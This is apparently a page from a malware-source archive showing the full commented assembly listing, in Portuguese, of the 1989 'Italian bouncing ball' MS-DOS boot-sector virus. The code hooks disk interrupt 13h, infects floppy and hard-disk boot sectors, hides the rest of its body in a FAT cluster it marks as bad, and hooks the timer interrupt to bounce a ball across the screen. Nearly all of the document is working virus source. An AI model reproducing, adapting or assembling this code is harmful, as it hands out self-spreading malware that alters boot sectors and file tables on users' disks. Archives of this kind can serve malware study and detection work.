MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.italiano.asm
2021-01-12 17:47:04 -06:00

455 lines
13 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; **************************************************
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
; *** Desassemblagem obtida por Miguel Vitorino ***
; *** Para : S P O O L E R - Junho de 1989 ***
; **************************************************
.RADIX 16
jmpf macro x
db 0eah
dd x
endm
Virus SEGMENT
assume cs:virus;ds:virus
jmpf MACRO x
db 0eah
dd x
ENDM
org 0100h
begin: jmp short entry
db 1eh-2 dup (?) ; Informacao relativa a' disquete
entry: xor ax,ax
mov ss,ax
mov sp,7c00 ; Colocar o Stack antes do inicio do
mov ds,ax ; virus
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
sub ax,2 ; para que o DOS nao la' chegue !
mov ds:[0413],ax
mov cl,06 ; Converter o tamanho da RAM num
shl ax,cl ; numero de segmento que se situa nos
sub ax,07c0 ; 2 ultimos K
mov es,ax ; De seguida passar este programa
mov si,7c00 ; para esse sitio de memoria
mov di,si ; ( i.e. o programa transfere-se a si
mov cx,0100 ; proprio )
repz movsw
mov cs,ax ; Transferencia de controlo para ai!
push cs ; Agora sim , ja' estamos nos tais 2K
pop ds
call reset ; fazer duas vezes um "reset" ao
reset: xor ah,ah ; controlador de disco
int 13
and byte ptr ds:drive,80
mov bx,ds:sector ; Sector onde esta' o resto do virus
push cs
pop ax
sub ax,0020
mov es,ax
call ler_sector ; Ler o resto do virus da drive
mov bx,ds:sector
inc bx
mov ax,0ffc0 ; Carregar o sector de boot original
mov es,ax
call ler_sector
xor ax,ax
mov ds:estado,al
mov ds,ax
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
mov word ptr ds:[004c],offset int_13
mov ds:[004e],cs
push cs
pop ds
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
mov word ptr ds:velho_13+2,bx
mov dl,ds:drive
jmpf 0:7c00 ; Efectuar o arranque do sistema
Esc_Sector proc near
mov ax,0301 ; Escrever um sector da drive
jmp short cs:transferir
Esc_Sector endp
Ler_Sector proc near
mov ax,0201 ; Ler um sector da drive
Ler_Sector endp
Transferir proc near ; Efectuar uma transferencia de dados
xchg ax,bx ; de ou para a drive
add ax,ds:[7c1c] ; Este procedimento tem como entrada
xor dx,dx ; o numero do sector pretendido ( BX )
div ds:[7c18] ; e de seguida sao feitas as contas
inc dl ; para saber qual a pista e o lado
mov ch,dl ; onde esse sector fica
xor dx,dx
div ds:[7c1a]
mov cl,06
shl ah,cl
or ah,ch
mov cx,ax
xchg ch,cl
mov dh,dl
mov ax,bx ; Depois de todas as contas feitas
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
mov bx,8000 ; es:bx = end. de transferencia
int 13
jnb trans_exit
pop ax
trans_exit: ret
Transferir endp
Int_13 proc near ; Rotina de atendimento ao int. 13H
push ds ; (operacoes sobre discos e disquetes)
push es
push ax
push bx
push cx
push dx
push cs
pop ds
push cs
pop es
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
jnz call_BIOS ; esta' no disco
cmp ah,2
jnz call_BIOS
cmp ds:drive,dl ; Ver se a ultima drive que foi
mov ds:drive,dl ; mexida e' igual a' drive onde
jnz outra_drv ; se vai mexer
xor ah,ah ; Neste momento vai-se tirar a' sorte
int 1a ; para ver se o virus fica activo
test dh,7f ; Isto e' feito a partir da leitura
jnz nao_desp ; da hora e se for igual a um dado
test dl,0f0 ; numero , o virus e' despoletado
jnz nao_desp
push dx ; Instalar o movimento da bola
call despoletar
pop dx
nao_desp: mov cx,dx
sub dx,ds:semente
mov ds:semente,cx
sub dx,24
jb call_BIOS
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
push si ; presenca ou nao do virus na drive
push di
call contaminar
pop di
pop si
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
call_BIOS: pop dx
pop cx
pop bx
pop ax
pop es
pop ds
Velho_13 equ $+1
jmpf 0:0
Int_13 endp
Contaminar proc near
mov ax,0201
mov dh,0
mov cx,1
call transf
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
jz testar_drv ; Sim , passar a' contaminacao directa
mov si,81be
mov cx,4
proximo: cmp byte ptr [si+4],1
jz ler_sect
cmp byte ptr [si+4],4
jz ler_sect
add si,10
loop proximo
ret
ler_sect: mov dx,[si] ; Cabeca+drive
mov cx,[si+2] ; Pista+sector inicial
mov ax,0201 ; Ler esse sector
call transf
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
mov di,7c02 ; ver se o sector de boot e' o mesmo
mov cx,1c ; i.e. ver se a drive ja' foi virada !
repz movsb
cmp word ptr ds:[offset flag+0400],1357
jnz esta_limpa
cmp byte ptr ds:flag_2,0
jnb tudo_bom
mov ax,word ptr ds:[offset prim_dados+0400]
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
mov si,ds:[offset sector+0400] ; esta' contaminada !
jmp infectar
tudo_bom: ret
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
; proceder a' respectiva contaminacao !
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
jnz tudo_bom
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
jb tudo_bom
mov cx,ds:[800e] ; Sectores reservados
mov al,byte ptr ds:[8010] ; Numero de FAT's
cbw
mul word ptr ds:[8016] ; Numero de sectores de FAT
add cx,ax
mov ax,' '
mul word ptr ds:[8011] ; Numero de entradas na root
add ax,01ff
mov bx,0200
div bx
add cx,ax
mov ds:prim_dados,cx
mov ax,ds:[7c13] ; Numero de sectores da drive
sub ax,ds:prim_dados
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
xor dx,dx
xor bh,bh
div bx
inc ax
mov di,ax
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
jbe sao_3 ; 4 nibbles senao sao 3
or byte ptr ds:estado,4 ; 4 = disco duro ?
sao_3: mov si,1 ; Escolher sector a infectar
mov bx,ds:[7c0e] ; Numero de sectores reservados
dec bx
mov ds:inf_sector,bx ; Sector a infectar
mov byte ptr ds:FAT_sector,0fe
jmp short continua
Inf_Sector dw 1 ; Sector a infectar
Prim_Dados dw 0c ; Numero do primeiro sector de dados
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
Drive db 1 ; Drive onde se pediu uma accao
Sector dw 0ec ; Sector auxiliar para procura do virus
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
dw 0aa55 ; comparar se estes valores batem certos para o saber
continua: inc word ptr ds:inf_sector
mov bx,ds:inf_sector
add byte ptr ds:[FAT_sector],2
call ler_sector
jmp short l7e4b
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
; virus
verificar: mov ax,3 ; Media descriptor + ff,ff
test byte ptr ds:estado,4 ; disco duro ?
jz l7e1d
inc ax ; Sim , FAT comeca 1 byte mais adiante
l7e1d: mul si ; Multiplicar pelo numero do cluster
shr ax,1
sub ah,ds:FAT_sector
mov bx,ax
cmp bx,01ff
jnb continua
mov dx,[bx+8000] ; Ler a entrada na FAT
test byte ptr ds:estado,4
jnz l7e45
mov cl,4
test si,1
jz l7e42
shr dx,cl
l7e42: and dh,0f
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
jz l7e51 ; descobriu-se um cluster para por o
l7e4b: inc si ; virus , senao passa-se ao proximo
cmp si,di ; cluster ate' achar um bom
jbe verificar
ret
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
jnz l7e68 ; ( 3 ou 4 nibbles )
and dh,0f
mov cl,4
test si,1
jz l7e68
shl dx,cl
l7e68: or [bx+8000],dx
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
call esc_sector
mov ax,si
sub ax,2
mov bl,ds:7c0dh ; Numero de sectores por cluster
xor bh,bh
mul bx
add ax,ds:prim_dados
mov si,ax ; SI = sector a infectar
mov bx,0 ; Ler o sector de boot original
call ler_sector
mov bx,si
inc bx
call esc_sector ; ... e guarda'-lo depois do virus
infectar: mov bx,si
mov word ptr ds:sector,si
push cs
pop ax
sub ax,20 ; Escrever o resto do virus
mov es,ax
call esc_sector
push cs
pop ax
sub ax,40
mov es,ax
mov bx,0 ; Escrever no sector de boot o virus
call esc_sector
ret
Contaminar endp
Semente dw ? ; Esta word serve para fins de
; temporizacao da bola a saltar
FAT_sector db 0 ; Diz qual e' o numero do sector que
; se esta' a percorrer quando se
; vasculha a FAT
Despoletar proc near ; Comecar a mostrar a bola no ecran
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
jnz desp_exit ; Sim ,sair
or byte ptr ds:estado,2 ; Nao , marcar activacao
mov ax,0
mov ds,ax
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
mov bx,ds:22
mov word ptr ds:20,offset int_8
mov ds:22,cs
push cs
pop ds ; E guardar a rotina anterior
mov word ptr ds:velho_8+8,ax
mov word ptr ds:velho_8+2,bx
desp_exit: ret
Despoletar endp
Int_8 proc near ; Rotina de atendimento ao interrupt
push ds ; provocado pelo relogio 18.2 vezes
push ax ; por segundo . Neste procedimento
push bx ; e' que se faz o movimento da bola
push cx ; pelo ecran
push dx
push cs
pop ds
mov ah,0f ; Ver qual o tipo de modo de video
int 10
mov bl,al
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
jz ler_cur ; os anteriores
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
dec ah ; de video
mov ds:colunas,ah ; Guardar o numero de colunas
mov ah,1
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
jnz e_CGA
dec ah
e_CGA: cmp bl,4 ; Ve se e' modo grafico
jnb e_grafico
dec ah
e_grafico: mov ds:muda_attr,ah
mov word ptr ds:coordenadas,0101
mov word ptr ds:direccao,0101
mov ah,3 ; Ler a posicao do cursor
int 10
push dx ; ... e guarda-la
mov dx,ds:coordenadas
jmp short limites
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
int 10
push dx ; ... e guarda-la
mov ah,2 ; Posicionar o cursor no sitio da bola
mov dx,ds:coordenadas
int 10
mov ax,ds:carat_attr
cmp byte ptr ds:muda_attr,1
jnz mudar_atr
mov ax,8307 ; Atributos e carater 7
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
mov cx,1
mov ah,9 ; Escrever a bola no ecran
int 10
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
cmp dh,0 ; ecran . Linha = 0 ?
jnz linha_1
xor ch,0ff ; Mudar direccao
inc ch
linha_1: cmp dh,18 ; Linha = 24 ?
jnz coluna_1
xor ch,0ff ; Mudar direccao
inc ch
coluna_1: cmp dl,0 ; Coluna = 0 ?
jnz coluna_2
xor cl,0ff ; Mudar direccao
inc cl
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
jnz esta_fixe
xor cl,0ff ; Mudar direccao
inc cl
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
jnz act_bola
mov ax,ds:carat_attr
and al,7
cmp al,3
jnz nao_e
xor ch,0ff
inc ch
nao_e: cmp al,5
jnz act_bola
xor cl,0ff
inc cl
act_bola: add dl,cl ; Actualizar as coordenadas da bola
add dh,ch
mov ds:direccao,cx
mov ds:coordenadas,dx
mov ah,2
int 10
mov ah,8 ; Ler carater para onde vai a bola
int 10
mov ds:carat_attr,ax
mov bl,ah
cmp byte ptr ds:muda_attr,1
jnz nao_muda
mov bl,83 ; Novo atributo
nao_muda: mov cx,1
mov ax,0907 ; Escrever a bola no ecran
int 10
pop dx
mov ah,2 ; Recolocar o cursor no posicao onde
int 10 ; estava antes de escrever a bola
pop dx
pop cx
pop bx
pop ax
pop ds
velho_8 equ $+1
jmpf 0:0
Int_8 endp
Carat_attr dw ? ; 7fcd
Coordenadas dw 0101 ; 7fcf
Direccao dw 0101 ; 7fd1
Muda_attr db 1 ; 7fd3
Modo_pag dw ? ; 7fd4
Colunas db ? ; 7fd6
; Os bytes que se seguem destinam-se a reservar espaco para o stack
Virus ENDS
END begin